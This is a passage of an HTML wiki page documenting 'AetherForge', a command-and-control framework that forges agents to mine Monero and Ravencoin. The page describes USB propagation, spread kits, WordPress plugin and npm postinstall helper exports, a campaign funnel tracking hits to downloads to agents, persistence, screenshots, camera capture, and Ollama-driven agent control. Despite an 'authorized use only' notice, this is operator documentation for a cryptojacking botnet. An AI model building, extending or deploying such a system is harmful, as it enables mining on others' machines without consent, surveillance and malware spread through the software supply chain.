key to avoid integrated-address collisions. If C2 is unreachable for >30s, agents mine directly to the
|
||||
pool and return to proxy when reconnected.
|
||||
</p>
|
||||
<p>
|
||||
GPU mining (Windows only) auto-detects vendor at runtime: NVIDIA uses T-Rex (CUDA), AMD uses TeamRedMiner
|
||||
(OpenCL), both on KawPoW for Ravencoin. Local HTTP API polling reports 15s/1m/15m hashrate, temperature,
|
||||
fan speed, and power draw.
|
||||
</p>
|
||||
|
||||
<h3>Pool configuration</h3>
|
||||
<p>Set primary pool and wallet in <strong>Calibrate</strong>. Forge bakes these into the agent. Advanced forge
|
||||
supports <strong>backup pools</strong> as a fallback Stratum list.</p>
|
||||
|
||||
<h3>Hashrate reporting</h3>
|
||||
<ul>
|
||||
<li>15s / 1m / 15m rolling averages over WebSocket</li>
|
||||
<li>Separate CPU (XMR) and GPU (RVN) channels on dashboard</li>
|
||||
<li>Earnings estimator: <code>GET /api/v1/earnings/estimate</code> + SupportXMR live data</li>
|
||||
<li>XMR spot price: <code>GET /api/v1/market/xmr</code> (CoinGecko, 10 min cache)</li>
|
||||
</ul>
|
||||
|
||||
<h3>GPU vendor table</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Vendor</th><th>Miner</th><th>Algorithm</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>NVIDIA (CUDA)</td><td>T-Rex</td><td>KawPoW (RVN)</td></tr>
|
||||
<tr><td>AMD (OpenCL)</td><td>TeamRedMiner</td><td>KawPoW (RVN)</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Tier 0 mining validation (no C2)</h3>
|
||||
<pre><code>cd agent
|
||||
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
</section>
|
||||
|
||||
<!-- 8. Alerts & AI -->
|
||||
<section id="alerts-ai">
|
||||
<h2>Alerts & AI (Ollama)</h2>
|
||||
<p>
|
||||
Fleet notifications are configured under <strong>Calibrate → Alert Notifications</strong>. Telegram bot token
|
||||
and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses
|
||||
the same event matrix. Use <strong>Send test notification</strong> after save to verify delivery.
|
||||
</p>
|
||||
|
||||
<h3>Alert events</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Event</th><th>Trigger</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>New agent connects</td><td>First fleet join</td></tr>
|
||||
<tr><td>Agent reconnects</td><td>Back online or session replace</td></tr>
|
||||
<tr><td>Agent offline</td><td>Past offline-after minutes threshold</td></tr>
|
||||
<tr><td>Hashrate drop</td><td>Below hashrate drop % vs baseline</td></tr>
|
||||
<tr><td>Rejection spike</td><td>Bad shares above rejection rate %</td></tr>
|
||||
<tr><td>Forge complete</td><td>Any successful build</td></tr>
|
||||
<tr><td>KEV exposure</td><td>Critical indicators from Full Sys Check (optional)</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Ollama AI autonomy</h3>
|
||||
<p>
|
||||
Optional forge flag bakes <strong>AI Autonomy</strong> into workers. Ollama runs on the <strong>control server
|
||||
PC</strong> (default <code>http://localhost:11434</code>), not on workers. The worker calls C2
|
||||
<code>/api/v1/agent/decide</code> → server queries Ollama → tool calls execute on the agent (adjust threads,
|
||||
self-heal, persistence checks). Best combined with self-healing watchdog.
|
||||
</p>
|
||||
<pre><code>ollama pull llama3.2
|
||||
# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint
|
||||
# Re-forge after changing — settings are baked into the binary</code></pre>
|
||||
<div class="wiki-callout warn">
|
||||
Never paste bot tokens in chat or commit them. Store only in <code>data/config.json</code> (gitignored).
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 9. Security & Auth -->
|
||||
<section id="security-auth">
|
||||
<h2>Security & Auth</h2>
|
||||
<p>
|
||||
The dashboard uses HTTP Basic auth for REST. Session persists in browser storage until tab close; transport
|
||||
blips keep saved credentials with a <strong>degraded</strong> banner (distinct from 401 logout). WebSocket
|
||||
auth prefers one-time tickets; agents use a fleet secret baked at forge time.
|
||||
</p>
|
||||
|
||||
<h3>Auth surface</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Surface</th><th>Mechanism</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>/api/v1/*</code> REST</td><td>HTTP Basic Auth</td></tr>
|
||||
<tr><td><code>/ws/dashboard</code></td><td><code>POST /api/v1/auth/ws-ticket</code> → <code>?ticket=</code> (2 min, one-time); legacy <code>?token=</code></td></tr>
|
||||
<tr><td><code>/ws/agent</code></td><td>Fleet-secret <code>auth</code> JSON frame</td></tr>
|
||||
<tr><td><code>/api/v1/agent/*</code></td><td><code>X-Fleet-Secret</code> header</td></tr>
|
||||
<tr><td><code>GET /api/v1/agent/module/{name}</code></td><td>Signed module manifest (HMAC fleet secret)</td></tr>
|
||||
<tr><td><code>PUT /api/v1/fleet/policy</code></td><td>Dashboard Basic Auth — push runtime policy to agents</td></tr>
|
||||
<tr><td><code>POST /api/v1/fleet/modules/push</code></td><td>Dashboard Basic Auth — queue <code>fetch_module</code></td></tr>
|
||||
<tr><td>Static SPA + health + docs</td><td>Open (no auth)</td></tr>
|
||||
<tr><td><code>/get</code>, install scripts</td><td>Open — URL knowledge is the gate</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Fleet secret</h3>
|
||||
<p>
|
||||
Random token generated at server start, stored in <code>data/config.json</code>, baked into every forged
|
||||
agent. Rotate via Calibrate → fleet secret rotation (<code>POST /api/v1/server/rotate-secret</code>); existing
|
||||
agents must be re-forged to pick up the new secret. The same secret signs module manifests — agents reject
|
||||
tampered packs when the HMAC does not match.
|
||||
</p>
|
||||
|
||||
<h3>Users</h3>
|
||||
<ul>
|
||||
<li><code>data/users.json</code> — bcrypt cost 12</li>
|
||||
<li>First-run: <code>admin</code> + <code>comrade</code> with random passwords</li>
|
||||
<li>Manage under Calibrate → Users</li>
|
||||
</ul>
|
||||
|
||||
<div class="wiki-callout danger">
|
||||
<strong>Authorized use only.</strong> Deploy only on systems you own or have written permission to manage.
|
||||
Do not expose port 8989 to the open internet without VPN, allowlist, or reverse-proxy auth.
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 10. USB Portable -->
|
||||
<section id="usb-portable">
|
||||
<h2>USB Portable Deck</h2>
|
||||
<p>
|
||||
The portable bundle is a <strong>control deck on a stick</strong> — separate from agent USB propagation.
|
||||
Run <code>pack-usb.bat</code> from the repo root to produce <code>usb\</code> with
|
||||
<code>AetherForge.exe</code>, webroot, agent/fusion source, bundled Go toolchain, and starter
|
||||
<code>data/config.json</code>.
|
||||
</p>
|
||||
<p>
|
||||
Copy the entire <code>usb\</code> folder to a USB drive. On any Windows PC, double-click
|
||||
<code>LAUNCH.bat</code> — Cloudflare tunnel sidecar starts first, then the server. Dashboard opens at
|
||||
<code>http://localhost:8989</code> (or the <code>port</code> in <code>data/config.json</code>).
|
||||
</p>
|
||||
|
||||
<h3>pack-usb.bat steps</h3>
|
||||
<ol>
|
||||
<li>Build frontend; compile <code>AetherForge.exe</code></li>
|
||||
<li>Copy webroot, agent source, fusion source, Go toolchain → <code>usb\</code></li>
|
||||
<li>Create <code>data\</code> with starter config</li>
|
||||
<li>Sync <code>LAUNCH.bat</code></li>
|
||||
</ol>
|
||||
|
||||
<h3>LAUNCH.bat behaviour</h3>
|
||||
<ul>
|
||||
<li>Reads <code>port</code> from <code>data/config.json</code> for display</li>
|
||||
<li>Launches without <code>-port</code> CLI so config file wins</li>
|
||||
<li>Starts cloudflared when token present; sets <code>AF_TUNNEL_EXTERNAL=1</code> to avoid duplicate spawn</li>
|
||||
<li>Default connector token seeded in <code>usb/data/cloudflared-token.txt</code> — replace with your own</li>
|
||||
</ul>
|
||||
|
||||
<div class="wiki-callout warn">
|
||||
After any code change, re-run <code>pack-usb.bat</code> — the USB bundle is not updated automatically.
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- 11. API Reference -->
|
||||
<section id="api-reference">
|
||||
<h2>API Reference — Key Endpoints</h2>
|
||||
<p>
|
||||
Full route list lives in <code>server/internal/api/router.go</code>. Below are the most-used operator and
|
||||
agent paths. Authenticated routes require Basic auth unless noted.
|
||||
</p>
|
||||
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Method</th><th>Path</th><th>Purpose</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>GET</td><td><code>/api/v1/health</code></td><td>Health check (public)</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/auth/ws-ticket</code></td><td>Dashboard WebSocket ticket</td></tr>
|
||||
<tr><td>GET/PUT</td><td><code>/api/v1/config</code></td><td>Calibrate settings</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/build</code></td><td>Forge worker / fusion</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/builds</code></td><td>List builds</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/builds/{id}/download</code></td><td>Download forged exe (auth or fleet secret)</td></tr>
|
||||
<tr><td>PUT</td><td><code>/api/v1/builds/{id}/public</code></td><td>Toggle public listing</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/public/builds</code></td><td>Public build list (no auth)</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/agents</code></td><td>Fleet list</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/agents/{id}/command</code></td><td>Remote action</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/agents/bulk-command</code></td><td>Batch command</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/agents/{id}/wol</code></td><td>Wake-on-LAN</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/alerts</code></td><td>Active fleet alerts</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/alerts/test</code></td><td>Test Telegram/SMTP</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/pools/status</code></td><td>Stratum pool states</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/earnings/estimate</code></td><td>XMR/day estimate</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/audit</code></td><td>Operator audit log</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/dashboard/spread-funnel</code></td><td>Install funnel (7d)</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/emberwake/war-room?days=7</code></td><td>Campaign funnel dashboard (hits → downloads → agents)</td></tr>
|
||||
<tr><td>GET</td><td><code>/api/v1/emberwake/campaigns</code></td><td>Legacy campaign hit totals</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/spread-kit-export</code></td><td>ZIP spread-kit web publisher templates</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
|
||||
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
|
||||
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
|
||||
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
|
||||
<!-- 12. Troubleshooting -->
|
||||
<section id="troubleshooting">
|
||||
<h2>Troubleshooting & E2E Validation</h2>
|
||||
<p>
|
||||
Use tiered validation before production fleet deployment. Tier 0 proves mining only; Tier 1 runs automated
|
||||
CI; Tier 2 uses Docker or Linux VM for C2 regression; Tier 3 requires a disposable Windows VM for full
|
||||
payload tests (spread, GPU, screenshot, aggressive ops).
|
||||
</p>
|
||||
|
||||
<h3>Common symptoms</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Symptom</th><th>Likely cause</th><th>Fix</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
|
||||
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
|
||||
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
|
||||
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
|
||||
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Docker CI mining proof (Tier 2 automated)</h3>
|
||||
<p>
|
||||
On every push, GitHub Actions runs <code>.github/workflows/ci-docker-mining.yml</code>, which builds
|
||||
<code>docker/docker-compose.yml</code>, waits up to 3 minutes, and asserts an online Linux agent reports
|
||||
hashrate > 0 via <code>GET /api/v1/agents</code> and <code>GET /api/v1/dashboard/stats</code>
|
||||
(Basic auth <code>testuser</code> / <code>testpass</code>). Test wallet and fleet secret are fixed in
|
||||
<code>docker/data/config.json</code> and <code>docker/agent-builtin.go</code>.
|
||||
</p>
|
||||
<pre><code># Linux / macOS / CI
|
||||
scripts/ci-docker-mining.sh
|
||||
|
||||
# Windows + Docker Desktop
|
||||
.\scripts\ci-docker-mining.ps1
|
||||
|
||||
# Manual compose + assert
|
||||
docker compose -f docker/docker-compose.yml up --build -d
|
||||
scripts/ci-docker-mining.sh</code></pre>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>CI symptom</th><th>Check</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Health timeout</td><td><code>docker compose logs server</code> — port 18989 bound?</td></tr>
|
||||
<tr><td>Agent offline</td><td><code>docker compose logs agent</code> — fleet secret mismatch?</td></tr>
|
||||
<tr><td>Hashrate 0 at deadline</td><td>Server pool egress; allow ~30–90s after connect for RandomX warmup</td></tr>
|
||||
<tr><td>No Docker in runner</td><td>Run script locally; workflow needs <code>ubuntu-latest</code> or Docker-enabled self-hosted</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>E2E orchestration</h3>
|
||||
<pre><code>.\scripts\e2e-validate.ps1 # Tiers 0–1 + VM checklist
|
||||
.\scripts\e2e-validate.ps1 -PrepareOnly # isolated data-e2e\ + instructions
|
||||
.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
|
||||
.\scripts\ci-docker-mining.ps1 # Docker Linux agent hashrate proof
|
||||
test.bat # full suite</code></pre>
|
||||
|
||||
<h3>Tier 3 Windows VM playbook</h3>
|
||||
<ol>
|
||||
<li>Prepare isolated <code>data-e2e\</code> with test wallet (see <code>docs/E2E_VALIDATION.md</code>)</li>
|
||||
<li>Forge <code>e2e-validate</code> Windows worker; snapshot VM before run</li>
|
||||
<li>Run agent once; verify Fleet Roster online</li>
|
||||
<li>Crucible checklist: sysinfo, pause/resume, connectivity_probe, get_log, screenshot</li>
|
||||
<li>Revert VM snapshot; archive or delete <code>data-e2e\</code></li>
|
||||
</ol>
|
||||
|
||||
<p>Full playbook: <code>docs/E2E_VALIDATION.md</code> in the repo root.</p>
|
||||
</section>
|
||||
|
||||
<!-- 13. Problems -->
|
||||
<section id="problems">
|
||||
<h2>PROBLEMS — Known Limits</h2>
|
||||
<p>
|
||||
Severity-ranked audit lives in <code>PROBLEMS.md</code> at the repo root. Check before large fleet deployment.
|
||||
Many builder and API issues from the 2026-06-04 pass are fixed; below are notable open or deferred items.
|
||||
</p>
|
||||
|
||||
<h3>Dashboard (deferred)</h3>
|
||||
<ul>
|
||||
<li>Flaky forge progress simulation — cosmetic stage timeline caps at 94% until server responds</li>
|
||||
<li>Path Forge / batch fusion test gaps — cancellation and partial failure races</li>
|
||||
<li>Dual storage without sync policy — session preferred over local on logout</li>
|
||||
</ul>
|
||||
|
||||
<h3>Fusion / PathForge</h3>
|
||||
<ul>
|
||||
<li><code>fusion/</code> package has no direct unit tests (coverage in builder fusion tests)</li>
|
||||
<li>Windows agent may auto-download WireGuard on first Path Tracer use — operator should pre-install</li>
|
||||
<li>Mac PathForge <code>.command</code> requires <code>server_url</code> + <code>/api/download/agent-mac</code> at runtime</li>
|
||||
</ul>
|
||||
|
||||
<h3>Agent</h3>
|
||||
<ul>
|
||||
<li>macOS: firewall aggressive ops, camera, GPU miner — stubs or partial</li>
|
||||
<li>Linux screenshot in headless containers needs <code>xvfb</code> + scrot</li>
|
||||
<li>WebSocket/beacon paths are integration-tested via Docker Tier 2</li>
|
||||
</ul>
|
||||
|
||||
<h3>Spread / Emberwake gaps</h3>
|
||||
<ul>
|
||||
<li><code>spread-kit-web-publisher/</code> static templates — API export exists; branded HTML kits in progress</li>
|
||||
<li>No built-in OAuth redirect helper or package-registry publish pipeline</li>
|
||||
</ul>
|
||||
|
||||
<h3>Server (low)</h3>
|
||||
<ul>
|
||||
<li><code>db.New</code> ignores <code>MkdirAll</code> failure</li>
|
||||
</ul>
|
||||
|
||||
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01–B-13, API-D01–D10, etc.).</p>
|
||||
</section>
|
||||
|
||||
</main>
|
||||
</div>
|
||||
<script src="wiki.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user